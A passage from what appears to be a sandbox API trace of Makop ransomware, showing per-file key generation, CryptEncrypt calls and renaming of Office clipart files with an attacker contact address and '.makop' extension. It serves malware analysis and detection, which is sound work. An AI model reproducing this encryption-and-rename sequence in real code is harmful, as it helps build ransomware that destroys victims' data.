WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11c0, lpOverlapped=0x0) returned 1 [0120.967] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.967] SetEndOfFile (hFile=0xf0) returned 1 [0120.974] GetProcessHeap () returned 0x48a0000 [0120.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.974] GetProcessHeap () returned 0x48a0000 [0120.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.974] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.976] CloseHandle (hObject=0xf0) returned 1 [0120.977] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0120.977] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0120.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.978] GetProcessHeap () returned 0x48a0000 [0120.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.978] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.978] GetProcessHeap () returned 0x48a0000 [0120.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.978] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.983] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.984] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.984] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.984] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x26f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x26f0, lpOverlapped=0x0) returned 1 [0120.986] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x26f0, dwBufLen=0x26f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x26f0) returned 1 [0120.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x26f0, lpOverlapped=0x0) returned 1 [0120.986] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x27c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.986] SetEndOfFile (hFile=0xf0) returned 1 [0120.994] GetProcessHeap () returned 0x48a0000 [0120.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.994] GetProcessHeap () returned 0x48a0000 [0120.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.994] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.996] CloseHandle (hObject=0xf0) returned 1 [0120.996] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0120.996] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0120.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.997] GetProcessHeap () returned 0x48a0000 [0120.997] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.997] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.014] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.014] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.014] GetProcessHeap () returned 0x48a0000 [0121.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.014] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.014] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.014] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.014] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.015] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.015] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.016] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ef4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ef4, lpOverlapped=0x0) returned 1 [0121.017] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f00, dwBufLen=0x4f00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f00) returned 1 [0121.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.018] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4f00, lpOverlapped=0x0) returned 1 [0121.018] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.018] SetEndOfFile (hFile=0xf0) returned 1 [0121.025] GetProcessHeap () returned 0x48a0000 [0121.025] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.025] GetProcessHeap () returned 0x48a0000 [0121.025] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.026] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.028] CloseHandle (hObject=0xf0) returned 1 [0121.028] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0121.028] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0121.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.030] GetProcessHeap () returned 0x48a0000 [0121.031] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.031] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.031] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.038] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.038] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.038] GetProcessHeap () returned 0x48a0000 [0121.038] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.038] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.038] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.038] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.039] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.039] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2168, lpOverlapped=0x0) returned 1 [0121.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2170, dwBufLen=0x2170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2170) returned 1 [0121.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2170, lpOverlapped=0x0) returned 1 [0121.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.042] SetEndOfFile (hFile=0xf0) returned 1 [0121.049] GetProcessHeap () returned 0x48a0000 [0121.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.049] GetProcessHeap () returned 0x48a0000 [0121.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.049] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.051] CloseHandle (hObject=0xf0) returned 1 [0121.051] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0121.051] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0121.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.052] GetProcessHeap () returned 0x48a0000 [0121.052] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.052] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.056] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.056] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.056] GetProcessHeap () returned 0x48a0000 [0121.056] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.057] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.057] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.057] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.058] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.058] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f3c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f3c, 